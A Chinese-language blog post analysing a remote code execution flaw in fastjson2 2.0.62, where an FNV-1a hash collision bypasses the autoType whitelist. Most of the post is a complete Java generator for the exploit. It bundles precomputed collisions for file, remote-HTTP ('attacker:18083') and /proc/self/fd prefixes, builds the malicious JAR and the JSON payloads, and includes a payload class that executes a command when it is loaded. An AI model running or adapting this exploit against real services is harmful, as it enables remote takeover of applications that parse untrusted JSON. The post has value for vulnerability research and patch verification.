文章封面:fastjson2 2.0.62 RCE分析

fastjson2 2.0.62 RCE分析

fastjson2 2.0.62 RCE分析

payload跟1.2.83类似,唯一的区别在于要绕过哈希校验,也就是要哈希碰撞一下

1
2
3
jar:http:..attacker:18083.x!.<collision>.Exception
jar:file:.tmp.x!.<collision>.Exception    
jar:file:.proc.self.fd.17!.<collision>.Exception

这里还是会跟1.2.83一样把.变成/。这里的class设计成Exception的原因也跟之前一样,为了使得checkautoType失败返回null,而不是退出。但是实际去看fastjson2的代码发现没有跟1.x一样的逻辑,所以关键点还是哈希校验

漏洞原理

fastjson2 2.0.62 的 ObjectReaderProvider这里

image-20260729114110607

注意这里的哈希值,默认没有配置白名单时,数组至少包含:

1
2
3
signed   = -6293031534589903644
unsigned = 12153712539119647972
hex      = 0xA8AAA929446FFCE4

它对应:

1
com.alibaba.fastjson.util.AntiCollisionHashMap

来到checkAutoType这里

image-20260729121334100

image-20260729121348824

这里两个if下的语句几乎是一样的,也就是开不开SupportAutoType都会走FNV-1a Hash白名单校验,默认只有一个白名单-6293031534589903644,通过就会进入loadClass。

问题在于:

  1. 比较的是每一步的增量 hash,而不是只比较完整 typeName 的 hash;
  2. 命中后传给 loadClass 的是完整攻击者字符串;
  3. 2.0.62 没有把命中的前缀与真实白名单文本再比较;
  4. 因此 jar:file、jar:http 或 jar:file:/proc/self/fd 可以作为完整输入继续进入类加载器。

构造哈希碰撞

下面举个例子构造哈希碰撞:

FNV-1a 计算为:

1
2
3
4
long hash = FNV_OFFSET;
for (int i = 0; i < value.length(); i++) {
    hash = (hash ^ value.charAt(i)) * FNV_PRIME;
}

file 前缀和碰撞段为:

1
2
3
prefix = jar:file:.tmp.x!.
values = [54377, 36551, 40219, 34432, 50489]
escape = \uD469\u8EC7\u9D1B\u8680\uC539

HTTP 实验前缀为:

1
2
3
prefix = jar:http:..attacker:18083.x!.
values = [48587, 51161, 39184, 36439, 50845]
escape = \uBDCB\uC7D9\u9910\u8E57\uC69D

两者都满足:

1
FNV(prefix + collision) = 0xA8AAA929446FFCE4

值得注意的是这个碰撞段位于!之后,在我们要的Class之前,这个位置会在完整 typeName 扫描中命中,只要 JAR entry 和类文件内部名按同一字符串构造即可。

触发入口

fastjson2的JSON.parse并不是遇到每种类型的@type都会加载后面的字段的,只有走ObjectReaderImplObject.readObject 的路径,才会在默认配置下调checkAutoType

也就是例如JSON.parse(json) 遇到 { 时通常创建 JSONObject,进入 JSONReader.read(Map, long)。在默认关闭 SupportAutoType 时,@type 会作为普通 map 字段处理,不会进入 checkAutoType

image-20260729125056296

而数组类型,也就是list类型

image-20260729124519708

这里readObject跟进

image-20260729124653163

这条路径会进入 ObjectReaderProvider.checkAutoType,也就是我们想要的。

以下两种也会进入 ObjectReaderImplObject:

1
JSON.parseObject(json, Object.class);

以及:

1
2
3
4
5
public static final class Holder {
    public Object obj;
}

JSON.parseObject(json, Holder.class);

顶层强类型 DTO 的 @type 不在 Object 字段中时则不是同一路径。

触发链路

接下来就跟fastjson1.x那个差不多了

命中 hash 后的调用链是:

1
2
3
4
5
6
ObjectReaderImplObject.readObject
  -> JSONReader.Context.getObjectReaderAutoType
  -> ObjectReaderProvider.getObjectReader
  -> ObjectReaderProvider.checkAutoType
  -> TypeUtils.loadClass(typeName)
  -> Thread.currentThread().getContextClassLoader().loadClass(typeName)

TypeUtils.loadClass 在 2.0.62 中依次尝试线程上下文类加载器、JSON.class 的类加载器和 Class.forName。Boot fat JAR 中,线程上下文类加载器通常是:

1
2
3
4
TomcatEmbeddedWebappClassLoader
  -> LaunchedURLClassLoader
  -> URLClassLoader
  -> URLClassPath

URLClassLoader.findClass 会按下面的规则构造资源:

1
2
3
String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);
return defineClass(name, res);

Fastjson2 虽然没有自己调用 getResourceAsStream,但 loadClass 内部的 URLClassPath.getResource 仍然能解释 jar: 形式,并由 JarURLConnection 打开本地或 HTTP JAR。

因此,jdk8还是可以用jar:http的形式打,而jdk17+还是要用fd的形式打,不过这里每一个fd都需要过hash校验就是了

jar三种模式的攻击

总之要先生成jar包

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.DirectoryStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Locale;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;

/**
 * Generates the collision JAR and the JSON body used by the lab.
 *
 * This program uses only the JDK. It compiles Exception.java as Java 8 bytecode,
 * rewrites the class-file binary name, and packages the result as a JAR.
 */
public final class PocGenerator {
    private static final long FNV_OFFSET = 0xCBF29CE484222325L;
    private static final long FNV_PRIME = 0x100000001B3L;
    private static final String TARGET_NAME =
            "com.alibaba.fastjson.util.AntiCollisionHashMap";
    private static final String FILE_PREFIX = "jar:file:.tmp.x!.";
    private static final String HTTP_PREFIX =
            "jar:http:..2130706433:18083.x!.";
    private static final String DOCKER_HTTP_PREFIX =
            "jar:http:..3232252414:18083.x!.";
    private static final String ATTACKER_HTTP_PREFIX =
            "jar:http:..attacker:18083.x!.";
    private static final int[] FILE_COLLISION = {
            54377, 36551, 40219, 34432, 50489
    };
    private static final int[] HTTP_COLLISION = {
            0x9BEF, 0x52F5, 0xAA40, 0x26E0, 0xE36D, 0x94F1
    };
    private static final int[] DOCKER_HTTP_COLLISION = {
            36344, 40284, 36568, 49205, 43894
    };
    private static final int[] ATTACKER_HTTP_COLLISION = {
            48587, 51161, 39184, 36439, 50845
    };
    // FNV collisions for jar:file:.proc.self.fd.N!. (N = 3..64).
    // They are generated offline and verified again before a JAR is written.
    private static final int[][] FD_COLLISIONS = {
            {44318,55058,43314,46325,48351}, // fd 3
            {51317,37112,32958,50618,33406}, // fd 4
            {38804,41392,42348,48416,35596}, // fd 5
            {49077,35943,55264,38487,55088}, // fd 6
            {47589,41932,42961,41772,53434}, // fd 7
            {49622,37776,52296,42649,55102}, // fd 8
            {52117,37291,38238,37724,41062}, // fd 9
            {54916,43478,45736,52683,40141}, // fd 10
            {39813,40791,40990,54728,45903}, // fd 11
            {46524,33805,33869,45876,39562}, // fd 12
            {49513,36971,46467,33691,46625}, // fd 13
            {38465,40457,46928,33074,40850}, // fd 14
            {35655,48002,38293,46455,43772}, // fd 15
            {45311,33580,34415,47886,52594}, // fd 16
            {32856,34130,37797,41868,54056}, // fd 17
            {36302,53245,35969,52828,50782}, // fd 18
            {51687,32839,49344,54500,54299}, // fd 19
            {53738,46725,38656,39950,52402}, // fd 20
            {36458,41800,43499,42127,39926}, // fd 21
            {32900,47408,50500,37645,49052}, // fd 22
            {45548,49004,47865,54654,55219}, // fd 23
            {44295,52589,51163,49711,40015}, // fd 24
            {36390,55207,41892,49912,42045}, // fd 25
            {49709,52228,51948,46054,46264}, // fd 26
            {53239,54151,53948,42038,33864}, // fd 27
            {35015,44737,44826,48275,45434}, // fd 28
            {35113,50894,51988,48242,38223}, // fd 29
            {39255,41888,53729,37476,53210}, // fd 30
            {41860,38629,47052,33239,50701}, // fd 31
            {36374,32893,43429,38052,44170}, // fd 32
            {44885,42872,52565,38690,38803}, // fd 33
            {43582,51561,42214,51992,53131}, // fd 34
            {34608,39263,54096,35378,51316}, // fd 35
            {50815,51568,49918,39715,42458}, // fd 36
            {53928,45670,52147,55162,49230}, // fd 37
            {50962,40820,53817,34969,37652}, // fd 38
            {43340,34431,33531,53873,35262}, // fd 39
            {48559,41023,38201,50462,54722}, // fd 40
            {36120,48211,48202,51981,39696}, // fd 41
            {54810,35635,51859,43563,35312}, // fd 42
            {47751,53715,37590,37102,40228}, // fd 43
            {47196,37377,32892,46939,54893}, // fd 44
            {52571,54645,39593,43360,54045}, // fd 45
            {52680,41691,52204,36959,46649}, // fd 46
            {52628,45249,34138,32800,46235}, // fd 47
            {34111,37358,51025,42527,39190}, // fd 48
            {41250,35029,39444,43249,42414}, // fd 49
            {35560,54938,42008,54421,35383}, // fd 50
            {49229,41607,41735,52446,48272}, // fd 51
            {38512,48546,44868,53661,36773}, // fd 52
            {53675,52001,47248,52946,52081}, // fd 53
            {33022,48252,53638,43171,34811}, // fd 54
            {34910,46313,46547,43378,50773}, // fd 55
            {34378,37892,53255,38087,42004}, // fd 56
            {50418,45458,37645,43544,40290}, // fd 57
            {33297,47998,40305,47994,46422}, // fd 58
            {51504,48540,54624,49450,53555}, // fd 59
            {38713,38694,51115,52783,48868}, // fd 60
            {33978,35428,54632,45254,44630}, // fd 61
            {36395,43143,51049,52114,35150}, // fd 62
            {45747,41208,51613,48773,48165}, // fd 63
            {55127,52112,39149,37125,36480}  // fd 64
    };

    private PocGenerator() {
    }

    public static void main(String[] args) throws Exception {
        Options options = Options.parse(args);
        Path root = Paths.get("").toAbsolutePath().normalize();
        if ("fd".equals(options.mode)) {
            generateFd(root, options);
            return;
        }

        String prefix = options.prefix == null
                ? ("http".equals(options.mode) ? HTTP_PREFIX : FILE_PREFIX)
                : options.prefix;
        int[] collisionValues = collisionFor(prefix);
        String collision = fromCodeUnits(collisionValues);
        long targetHash = fnv(TARGET_NAME);
        long collisionHash = fnv(prefix + collision);
        if (targetHash != collisionHash) {
            throw new IllegalStateException("collision verification failed for prefix: " + prefix);
        }

        String typeName = prefix + collision + ".Exception";
        String internalName = typeName.replace('.', '/');
        String jarEntry = collision + "/Exception.class";
        Path output = root.resolve(options.output).normalize();
        Path payloadOutput = root.resolve(options.payloadOutput).normalize();
        Path rawOutput = root.resolve(options.rawOutput).normalize();
        Path payloadSource = root.resolve("poc/Exception.java").normalize();

        byte[] compiled = rewriteClassName(compileException(payloadSource), internalName);
        Files.createDirectories(output.getParent());
        try (JarOutputStream jar = new JarOutputStream(Files.newOutputStream(output))) {
            jar.putNextEntry(new JarEntry(jarEntry));
            jar.write(compiled);
            jar.closeEntry();
        }

        String payload = buildPayload(options.payloadShape, typeName);
        String metadata = metadataJson(options.mode, prefix, collisionValues,
                typeName, internalName, jarEntry, output, options.payloadShape,
                payload, targetHash);
        Files.createDirectories(payloadOutput.getParent());
        Files.createDirectories(rawOutput.getParent());
        Files.write(payloadOutput, metadata.getBytes(StandardCharsets.US_ASCII));
        Files.write(rawOutput, payload.getBytes(StandardCharsets.US_ASCII));

        System.out.println(metadata);
        System.out.println("raw payload: " + payload);
        System.out.println("collision hash: " + hex(collisionHash));
    }

    private static String buildPayload(String shape, String typeName) {
        String type = jsonQuoteAscii(typeName);
        if ("holder".equals(shape)) {
            return "{\"obj\":{\"@type\":" + type + "}}";
        }
        if ("object".equals(shape)) {
            return "{\"@type\":" + type + "}";
        }
        if ("list".equals(shape) || "set".equals(shape)) {
            return "[{\"@type\":" + type + "}]";
        }
        if ("map".equals(shape)) {
            return "{\"value\":{\"@type\":" + type + "}}";
        }
        throw new IllegalArgumentException(
                "payload shape must be holder, object, list, set or map");
    }

    /**
     * Builds the two-stage Linux experiment described in the research article.
     * The first object member opens/caches the remote JAR but has no matching
     * <stage-collision>/Exception.class entry; later members reopen candidate
     * /proc/self/fd/N handles.
     */
    private static void generateFd(Path root, Options options) throws Exception {
        if (options.host == null || options.host.length() == 0
                || options.port != 18083) {
            throw new IllegalArgumentException(
                    "fd mode currently bundles host 2130706433, 3232252414 or attacker on port 18083");
        }
        if (options.minFd < 3 || options.maxFd > 64 || options.minFd > options.maxFd) {
            throw new IllegalArgumentException("fd range must be within 3..64");
        }

        String httpPrefix = "jar:http:.." + options.host + ":"
                + options.port + ".x!.";
        int[] httpCollision = collisionFor(httpPrefix);
        String httpCollisionText = fromCodeUnits(httpCollision);
        verifyCollision(httpPrefix, httpCollisionText);
        String stageType = httpPrefix + httpCollisionText + ".Exception";

        Path output = root.resolve(options.output).normalize();
        Path payloadOutput = root.resolve(options.payloadOutput).normalize();
        Path rawOutput = root.resolve(options.rawOutput).normalize();
        Path payloadSource = root.resolve("poc/Exception.java").normalize();
        byte[] template = compileException(payloadSource);

        StringBuilder payload = new StringBuilder("{\"obj\":");
        payload.append("{\"@type\":").append(jsonQuoteAscii(stageType)).append('}');
        Files.createDirectories(output.getParent());
        try (JarOutputStream jar = new JarOutputStream(Files.newOutputStream(output))) {
            for (int fd = options.minFd; fd <= options.maxFd; fd++) {
                String prefix = "jar:file:.proc.self.fd." + fd + "!.";
                int[] collisionValues = collisionForFd(fd);
                String collision = fromCodeUnits(collisionValues);
                verifyCollision(prefix, collision);
                String typeName = prefix + collision + ".Exception";
                String internalName = typeName.replace('.', '/');
                String jarEntry = collision + "/Exception.class";
                byte[] classBytes = rewriteClassName(template, internalName);

                jar.putNextEntry(new JarEntry(jarEntry));
                jar.write(classBytes);
                jar.closeEntry();

                payload.append(",\"obj\":{\"@type\":")
                        .append(jsonQuoteAscii(typeName)).append('}');
            }
        }
        payload.append('}');
        String payloadText = payload.toString();
        String metadata = fdMetadataJson(options, httpPrefix, httpCollision,
                stageType, output, payloadText);
        Files.createDirectories(payloadOutput.getParent());
        Files.createDirectories(rawOutput.getParent());
        Files.write(payloadOutput, metadata.getBytes(StandardCharsets.US_ASCII));
        Files.write(rawOutput, payloadText.getBytes(StandardCharsets.US_ASCII));

        System.out.println(metadata);
        System.out.println("raw payload: " + payloadText);
        System.out.println("stage collision hash: " + hex(fnv(httpPrefix + httpCollisionText)));
    }

    private static int[] collisionFor(String prefix) {
        if (FILE_PREFIX.equals(prefix)) {
            return FILE_COLLISION.clone();
        }
        if (HTTP_PREFIX.equals(prefix)) {
            return HTTP_COLLISION.clone();
        }
        if (DOCKER_HTTP_PREFIX.equals(prefix)) {
            return DOCKER_HTTP_COLLISION.clone();
        }
        if (ATTACKER_HTTP_PREFIX.equals(prefix)) {
            return ATTACKER_HTTP_COLLISION.clone();
        }
        throw new IllegalArgumentException(
                "No bundled collision for prefix: " + prefix
                        + ". Use the documented file or HTTP prefix.");
    }

    private static int[] collisionForFd(int fd) {
        if (fd < 3 || fd > 64) {
            throw new IllegalArgumentException("no bundled fd collision for " + fd);
        }
        return FD_COLLISIONS[fd - 3].clone();
    }

    private static void verifyCollision(String prefix, String collision) {
        long expected = fnv(TARGET_NAME);
        long actual = fnv(prefix + collision);
        if (expected != actual) {
            throw new IllegalStateException("collision verification failed for prefix: " + prefix
                    + " actual=" + hex(actual) + " expected=" + hex(expected));
        }
    }

    private static long fnv(String value) {
        long hash = FNV_OFFSET;
        for (int i = 0; i < value.length(); i++) {
            hash = (hash ^ value.charAt(i)) * FNV_PRIME;
        }
        return hash;
    }

    private static String fromCodeUnits(int[] values) {
        StringBuilder value = new StringBuilder(values.length);
        for (int codeUnit : values) {
            value.append((char) codeUnit);
        }
        return value.toString();
    }

    private static byte[] compileException(Path source) throws Exception {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
        if (compiler == null) {
            throw new IllegalStateException("A JDK is required; javac is not available");
        }
        Path temp = Files.createTempDirectory("fastjson2-poc-");
        Path classes = temp.resolve("classes");
        Files.createDirectories(classes);
        try {
            String[] compilerArgs = {
                    "-encoding", "UTF-8",
                    "-source", "8",
                    "-target", "8",
                    "-d", classes.toString(),
                    source.toString()
            };
            int result = compiler.run(null, null, null, compilerArgs);
            if (result != 0) {
                throw new IllegalStateException("Exception.java compilation failed: " + result);
            }
            Path compiled = classes.resolve("probe/Exception.class");
            return Files.readAllBytes(compiled);
        } finally {
            deleteTree(temp);
        }
    }

    private static byte[] rewriteClassName(byte[] classBytes, String internalName)
            throws IOException {
        if (classBytes.length < 10 || classBytes[0] != (byte) 0xCA
                || classBytes[1] != (byte) 0xFE
                || classBytes[2] != (byte) 0xBA
                || classBytes[3] != (byte) 0xBE) {
            throw new IllegalArgumentException("not a Java class file");
        }

        byte[] oldName = "probe/Exception".getBytes(StandardCharsets.UTF_8);
        byte[] newName = internalName.getBytes(StandardCharsets.UTF_8);
        ByteArrayOutputStream buffer = new ByteArrayOutputStream(classBytes.length + newName.length);
        buffer.write(classBytes, 0, 8);
        int position = 8;
        int constantPoolCount = readU2(classBytes, position);
        writeU2(buffer, constantPoolCount);
        position += 2;

        for (int index = 1; index < constantPoolCount; index++) {
            int tag = classBytes[position++] & 0xFF;
            buffer.write(tag);
            switch (tag) {
                case 1:
                    int length = readU2(classBytes, position);
                    position += 2;
                    byte[] value = Arrays.copyOfRange(classBytes, position, position + length);
                    position += length;
                    byte[] replacement = Arrays.equals(value, oldName) ? newName : value;
                    if (replacement.length > 0xFFFF) {
                        throw new IllegalArgumentException("class name is too long");
                    }
                    writeU2(buffer, replacement.length);
                    buffer.write(replacement);
                    break;
                case 3:
                case 4:
                    buffer.write(classBytes, position, 4);
                    position += 4;
                    break;
                case 5:
                case 6:
                    buffer.write(classBytes, position, 8);
                    position += 8;
                    index++;
                    break;
                case 7:
                case 8:
                case 16:
                case 19:
                case 20:
                    buffer.write(classBytes, position, 2);
                    position += 2;
                    break;
                case 9:
                case 10:
                case 11:
                case 12:
                case 17:
                case 18:
                    buffer.write(classBytes, position, 4);
                    position += 4;
                    break;
                case 15:
                    buffer.write(classBytes, position, 3);
                    position += 3;
                    break;
                default:
                    throw new IllegalArgumentException("unknown constant-pool tag: " + tag);
            }
        }
        buffer.write(classBytes, position, classBytes.length - position);
        return buffer.toByteArray();
    }

    private static int readU2(byte[] bytes, int position) {
        return ((bytes[position] & 0xFF) << 8) | (bytes[position + 1] & 0xFF);
    }

    private static void writeU2(ByteArrayOutputStream output, int value) {
        output.write((value >>> 8) & 0xFF);
        output.write(value & 0xFF);
    }

    private static String metadataJson(String mode, String prefix, int[] collision,
                                        String typeName, String internalName,
                                        String jarEntry, Path output, String payloadShape,
                                        String payload,
                                        long targetHash) {
        StringBuilder json = new StringBuilder();
        json.append("{\n")
                .append("  \"mode\": ").append(jsonQuoteAscii(mode)).append(",\n")
                .append("  \"target_name\": ").append(jsonQuoteAscii(TARGET_NAME)).append(",\n")
                .append("  \"target_hash\": ").append(jsonQuoteAscii(hex(targetHash))).append(",\n")
                .append("  \"type_prefix\": ").append(jsonQuoteAscii(prefix)).append(",\n")
                .append("  \"collision_values\": ").append(intArrayJson(collision)).append(",\n")
                .append("  \"collision_escape\": ")
                .append(jsonQuoteAscii(escapeCodeUnits(collision))).append(",\n")
                .append("  \"type_name\": ").append(jsonQuoteAscii(typeName)).append(",\n")
                .append("  \"internal_name\": ").append(jsonQuoteAscii(internalName)).append(",\n")
                .append("  \"jar_entry\": ").append(jsonQuoteAscii(jarEntry)).append(",\n")
                .append("  \"jar_path\": ").append(jsonQuoteAscii(output.toString())).append(",\n")
                .append("  \"payload_shape\": ").append(jsonQuoteAscii(payloadShape)).append(",\n")
                .append("  \"payload_parse\": ").append(jsonQuoteAscii(payload)).append(",\n")
                .append("  \"id_output\": \"/tmp/fastjson2-poc-id.txt\",\n")
                .append("  \"endpoint\": ").append(jsonQuoteAscii(endpointForShape(payloadShape))).append("\n")
                .append("}");
        return json.toString();
    }

    private static String endpointForShape(String shape) {
        if ("object".equals(shape)) {
            return "/api/parse-object";
        }
        if ("list".equals(shape)) {
            return "/api/parse-list";
        }
        if ("set".equals(shape)) {
            return "/api/parse-set";
        }
        if ("map".equals(shape)) {
            return "/api/parse-map";
        }
        return "/api/parse";
    }

    private static String fdMetadataJson(Options options, String httpPrefix,
                                         int[] httpCollision, String stageType,
                                         Path output, String payload) {
        StringBuilder json = new StringBuilder();
        json.append("{\n")
                .append("  \"mode\": \"fd\",\n")
                .append("  \"target_name\": ").append(jsonQuoteAscii(TARGET_NAME)).append(",\n")
                .append("  \"target_hash\": ").append(jsonQuoteAscii(hex(fnv(TARGET_NAME)))).append(",\n")
                .append("  \"stage_prefix\": ").append(jsonQuoteAscii(httpPrefix)).append(",\n")
                .append("  \"stage_collision_values\": ").append(intArrayJson(httpCollision)).append(",\n")
                .append("  \"stage_type\": ").append(jsonQuoteAscii(stageType)).append(",\n")
                .append("  \"fd_range\": [").append(options.minFd).append(',')
                .append(options.maxFd).append("],\n")
                .append("  \"jar_path\": ").append(jsonQuoteAscii(output.toString())).append(",\n")
                .append("  \"payload_parse\": ").append(jsonQuoteAscii(payload)).append(",\n")
                .append("  \"id_output\": \"/tmp/fastjson2-poc-id.txt\",\n")
                .append("  \"endpoint\": \"/api/parse\"\n")
                .append('}');
        return json.toString();
    }

    private static String intArrayJson(int[] values) {
        StringBuilder json = new StringBuilder("[");
        for (int i = 0; i < values.length; i++) {
            if (i > 0) {
                json.append(',');
            }
            json.append(values[i]);
        }
        return json.append(']').toString();
    }

    private static String escapeCodeUnits(int[] values) {
        StringBuilder escaped = new StringBuilder();
        for (int value : values) {
            escaped.append(String.format(Locale.ROOT, "\\u%04X", value));
        }
        return escaped.toString();
    }

    private static String jsonQuoteAscii(String value) {
        StringBuilder json = new StringBuilder(value.length() + 8);
        json.append('"');
        for (int i = 0; i < value.length(); i++) {
            char ch = value.charAt(i);
            switch (ch) {
                case '\\':
                    json.append("\\\\");
                    break;
                case '"':
                    json.append("\\\"");
                    break;
                case '\b':
                    json.append("\\b");
                    break;
                case '\f':
                    json.append("\\f");
                    break;
                case '\n':
                    json.append("\\n");
                    break;
                case '\r':
                    json.append("\\r");
                    break;
                case '\t':
                    json.append("\\t");
                    break;
                default:
                    if (ch < 0x20 || ch > 0x7E) {
                        json.append(String.format(Locale.ROOT, "\\u%04X", (int) ch));
                    } else {
                        json.append(ch);
                    }
            }
        }
        return json.append('"').toString();
    }

    private static String hex(long value) {
        return String.format(Locale.ROOT, "0x%016X", value);
    }

    private static void deleteTree(Path path) throws IOException {
        if (!Files.exists(path)) {
            return;
        }
        try (DirectoryStream<Path> children = Files.newDirectoryStream(path)) {
            for (Path child : children) {
                if (Files.isDirectory(child)) {
                    deleteTree(child);
                } else {
                    Files.deleteIfExists(child);
                }
            }
        }
        Files.deleteIfExists(path);
    }

    private static final class Options {
        private String mode = "file";
        private String prefix;
        private String output = "poc/out/x";
        private String payloadOutput = "poc/out/payload.json";
        private String rawOutput = "poc/out/payload.txt";
        private String payloadShape = "holder";
        private String host = "2130706433";
        private int port = 18083;
        private int minFd = 3;
        private int maxFd = 64;
        private boolean outputSpecified;
        private boolean payloadOutputSpecified;
        private boolean rawOutputSpecified;

        private static Options parse(String[] args) {
            Options options = new Options();
            for (int i = 0; i < args.length; i++) {
                String arg = args[i];
                if ("--mode".equals(arg)) {
                    options.mode = next(args, ++i, arg);
                } else if ("--prefix".equals(arg)) {
                    options.prefix = next(args, ++i, arg);
                } else if ("--output".equals(arg)) {
                    options.output = next(args, ++i, arg);
                    options.outputSpecified = true;
                } else if ("--payload-output".equals(arg)) {
                    options.payloadOutput = next(args, ++i, arg);
                    options.payloadOutputSpecified = true;
                } else if ("--raw-output".equals(arg)) {
                    options.rawOutput = next(args, ++i, arg);
                    options.rawOutputSpecified = true;
                } else if ("--shape".equals(arg) || "--payload-shape".equals(arg)) {
                    options.payloadShape = next(args, ++i, arg).toLowerCase(Locale.ROOT);
                } else if ("--host".equals(arg)) {
                    options.host = next(args, ++i, arg);
                } else if ("--port".equals(arg)) {
                    options.port = Integer.parseInt(next(args, ++i, arg));
                } else if ("--min-fd".equals(arg)) {
                    options.minFd = Integer.parseInt(next(args, ++i, arg));
                } else if ("--max-fd".equals(arg)) {
                    options.maxFd = Integer.parseInt(next(args, ++i, arg));
                } else {
                    throw new IllegalArgumentException("Unknown argument: " + arg);
                }
            }
            if (!"file".equals(options.mode) && !"http".equals(options.mode)
                    && !"fd".equals(options.mode)) {
                throw new IllegalArgumentException("--mode must be file, http or fd");
            }
            if (!"holder".equals(options.payloadShape)
                    && !"object".equals(options.payloadShape)
                    && !"list".equals(options.payloadShape)
                    && !"set".equals(options.payloadShape)
                    && !"map".equals(options.payloadShape)) {
                throw new IllegalArgumentException(
                        "--shape must be holder, object, list, set or map");
            }
            if ("http".equals(options.mode)) {
                if (!options.outputSpecified) {
                    options.output = "poc/out/http-x";
                }
                if (!options.payloadOutputSpecified) {
                    options.payloadOutput = "poc/out/http-payload.json";
                }
                if (!options.rawOutputSpecified) {
                    options.rawOutput = "poc/out/http-payload.txt";
                }
            } else if ("fd".equals(options.mode)) {
                if (!options.outputSpecified) {
                    options.output = "poc/out/fd-x";
                }
                if (!options.payloadOutputSpecified) {
                    options.payloadOutput = "poc/out/fd-payload.json";
                }
                if (!options.rawOutputSpecified) {
                    options.rawOutput = "poc/out/fd-payload.txt";
                }
            }
            return options;
        }

        private static String next(String[] args, int index, String option) {
            if (index >= args.length) {
                throw new IllegalArgumentException("Missing value for " + option);
            }
            return args[index];
        }
    }
}

image-20260729131722061

jar -tf命令可以指定保存的jar的位置

image-20260729131909608

这里我的Exception.class内容实际上是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package probe;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.PosixFilePermissions;

/** Fixed lab payload: execute only id and write its output to a readable file. */
public final class Exception extends java.lang.Exception {
    static {
        runId();
    }

    public Exception() {
        super();
    }

    private static void runId() {
        try {
            Path outputPath = Paths.get("/tmp/fastjson2-poc-id.txt");
            Process process = new ProcessBuilder("id")
                    .redirectErrorStream(true)
                    .start();
            ByteArrayOutputStream output = new ByteArrayOutputStream();
            try (InputStream input = process.getInputStream()) {
                byte[] buffer = new byte[256];
                int count;
                while ((count = input.read(buffer)) != -1) {
                    output.write(buffer, 0, count);
                }
            }
            if (process.waitFor() != 0) {
                return;
            }
            Files.write(outputPath, output.toByteArray());
            try {
                Files.setPosixFilePermissions(outputPath,
                        PosixFilePermissions.fromString("rw-r--r--"));
            } catch (UnsupportedOperationException ignored) {
                // The Docker target is Linux; keep generation usable on Windows.
            }
        } catch (Throwable ignored) {
            // The lab uses the file as the execution proof; parsing stays available.
        }
    }
}

执行id命令之后写入tmp目录,这里就不做调试了,因为后续的内容跟1.x都差不多

接下来我实际验证了jdk8/17/21/25,都能成功复现rce

容器内挂载本地恶意jar包测试jar:file

image-20260729132647364

jdk8下jar:http测试

image-20260729132816527

高版本jdk的fd爆破

image-20260729132927757

使用 Hugo 构建
主题 StackJimmy 设计